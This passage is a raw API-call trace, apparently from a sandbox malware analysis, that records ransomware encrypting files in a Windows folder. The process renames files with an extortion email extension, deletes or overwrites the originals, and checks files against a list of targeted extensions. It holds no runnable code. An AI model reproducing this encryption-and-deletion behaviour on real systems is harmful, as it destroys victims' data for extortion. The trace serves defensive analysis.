dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.416] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=295248) returned 1 [0045.416] CloseHandle (hObject=0x368) returned 1 [0045.416] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0045.416] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.416] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.416] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0045.417] GetLastError () returned 0x0 [0045.417] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x48150, lpOverlapped=0x0) returned 1 [0045.447] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x48160, lpOverlapped=0x0) returned 1 [0045.452] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.452] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1 [0045.452] SetEndOfFile (hFile=0x2e0) returned 1 [0045.452] CloseHandle (hObject=0x2e0) returned 1 [0045.457] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.457] SetEndOfFile (hFile=0x368) returned 1 [0045.460] CloseHandle (hObject=0x368) returned 1 [0045.460] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.460] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0045.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.460] lstrlenW (lpString=".doc") returned 4 [0045.460] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.460] lstrlenW (lpString=".docx") returned 5 [0045.460] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.460] lstrlenW (lpString=".pdf") returned 4 [0045.460] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.460] lstrlenW (lpString=".xls") returned 4 [0045.460] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.460] lstrlenW (lpString=".xlsx") returned 5 [0045.460] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.460] lstrlenW (lpString=".ppt") returned 4 [0045.460] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".zip") returned 4 [0045.461] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".rar") returned 4 [0045.461] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".bz2") returned 4 [0045.461] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.461] lstrlenW (lpString=".7z") returned 3 [0045.461] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".dbf") returned 4 [0045.461] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".1cd") returned 4 [0045.461] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".jpg") returned 4 [0045.461] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".doc") returned 4 [0045.461] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".docx") returned 5 [0045.461] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.461] lstrlenW (lpString=".pdf") returned 4 [0045.461] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".xls") returned 4 [0045.461] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".xlsx") returned 5 [0045.461] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.461] lstrlenW (lpString=".ppt") returned 4 [0045.461] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.461] lstrlenW (lpString=".zip") returned 4 [0045.461] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.461] lstrlenW (lpString=".rar") returned 4 [0045.462] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.462] lstrlenW (lpString=".bz2") returned 4 [0045.462] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.462] lstrlenW (lpString=".7z") returned 3 [0045.462] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.462] lstrlenW (lpString=".dbf") returned 4 [0045.462] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.462] lstrlenW (lpString=".1cd") returned 4 [0045.462] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0045.462] lstrlenW (lpString=".jpg") returned 4 [0045.462] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.462] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0045.462] lstrlenW (lpString="sqmapi.dll") returned 10 [0045.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.462] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=144416) returned 1 [0045.462] CloseHandle (hObject=0x368) returned 1 [0045.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0045.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.463] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.463] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0045.463] GetLastError () returned 0x0 [0045.463] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x23420, lpOverlapped=0x0) returned 1 [0045.503] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x23430, lpOverlapped=0x0) returned 1 [0045.505] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.506] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xe8, lpOverlapped=0x0) returned 1 [0045.506] SetEndOfFile (hFile=0x2e0) returned 1 [0045.506] CloseHandle (hObject=0x2e0) returned 1 [0045.509] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.509] SetEndOfFile (hFile=0x368) returned 1 [0045.510] CloseHandle (hObject=0x368) returned 1 [0045.510] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.510] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString=".doc") returned 4 [0045.511] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString=".docx") returned 5 [0045.511] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.511] lstrlenW (lpString=".pdf") returned 4 [0045.511] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString=".xls") returned 4 [0045.511] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString=".xlsx") returned 5 [0045.511] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.511] lstrlenW (lpString=".ppt") returned 4 [0045.511] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString=".zip") returned 4 [0045.511] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString=".rar") returned 4 [0045.511] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString=".bz2") returned 4 [0045.511] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.511] lstrlenW (lpString=".7z") returned 3 [0045.511] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString=".dbf") returned 4 [0045.511] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString=".1cd") returned 4 [0045.511] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.511] lstrlenW (lpString=".jpg") returned 4 [0045.511] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.512] lstrlenW (lpString=".doc") returned 4 [0045.512] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString=".docx") returned 5 [0045.512] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.512] lstrlenW (lpString=".pdf") returned 4 [0045.512] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString=".xls") returned 4 [0045.512] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString=".xlsx") returned 5 [0045.512] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.512] lstrlenW (lpString=".ppt") returned 4 [0045.512] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.512] lstrlenW (lpString=".zip") returned 4 [0045.512] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString=".rar") returned 4 [0045.512] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.512] lstrlenW (lpString=".bz2") returned 4 [0045.512] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.512] lstrlenW (lpString=".7z") returned 3 [0045.512] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.512] lstrlenW (lpString=".dbf") returned 4 [0045.512] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.512] lstrlenW (lpString=".1cd") returned 4 [0045.512] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0045.513] lstrlenW (lpString=".jpg") returned 4 [0045.513] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.513] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0045.513] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0045.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.513] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=2192672) returned 1 [0045.513] CloseHandle (hObject=0x368) returned 1 [0045.513] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0045.513] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.513] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0045.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.514] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0x0) returned 1 [0045.514] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.514] ReadFile (in: hFile=0x368, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0045.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.544] ReadFile (in: hFile=0x368, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0045.758] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0045.759] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.759] ReadFile (in: hFile=0x368, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.075] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.075] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x262fca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0046.085] SetEndOfFile (hFile=0x368) returned 1 [0046.085] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4343f18 [0046.089] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.090] WriteFile (in: hFile=0x368, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.255] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.255] WriteFile (in: hFile=0x368, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.257] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.257] WriteFile (in: hFile=0x368, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.258] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0046.260] CloseHandle (hObject=0x368) returned 1 [0046.520] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString=".doc") returned 4 [0046.521] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0046.521] lstrlenW (lpString=".docx") returned 5 [0046.521] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0046.521] lstrlenW (lpString=".pdf") returned 4 [0046.521] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0046.521] lstrlenW (lpString=".xls") returned 4 [0046.521] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0046.521] lstrlenW (lpString=".xlsx") returned 5 [0046.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0046.521] lstrlenW (lpString=".ppt") returned 4 [0046.521] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString=".zip") returned 4 [0046.521] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0046.521] lstrlenW (lpString=".rar") returned 4 [0046.521] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0046.521] lstrlenW (lpString=".bz2") returned 4 [0046.521] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0046.521] lstrlenW (lpString=".7z") returned 3 [0046.521] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString=".dbf") returned 4 [0046.521] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString=".1cd") returned 4 [0046.521] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString=".jpg") returned 4 [0046.521] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.522] lstrlenW (lpString=".doc") returned 4 [0046.522] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0046.522] lstrlenW (lpString=".docx") returned 5 [0046.522] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0046.522] lstrlenW (lpString=".pdf") returned 4 [0046.522] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0046.522] lstrlenW (lpString=".xls") returned 4 [0046.522] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0046.522] lstrlenW (lpString=".xlsx") returned 5 [0046.522] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0046.522] lstrlenW (lpString=".ppt") returned 4 [0046.522] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0046.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.522] lstrlenW (lpString=".zip") returned 4 [0046.522] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0046.522] lstrlenW (lpString=".rar") returned 4 [0046.522] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0046.522] lstrlenW (lpString=".bz2") returned 4 [0046.522] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0046.522] lstrlenW (lpString=".7z") returned 3 [0046.522] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0046.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.522] lstrlenW (lpString=".dbf") returned 4 [0046.522] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0046.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.522] lstrlenW (lpString=".1cd") returned 4 [0046.522] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0046.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0046.522] lstrlenW (lpString=".jpg") returned 4 [0046.522] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0046.522] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0046.522] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0046.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.523] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=2141433) returned 1 [0046.523] CloseHandle (hObject=0x368) returned 1 [0046.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0046.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.523] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), 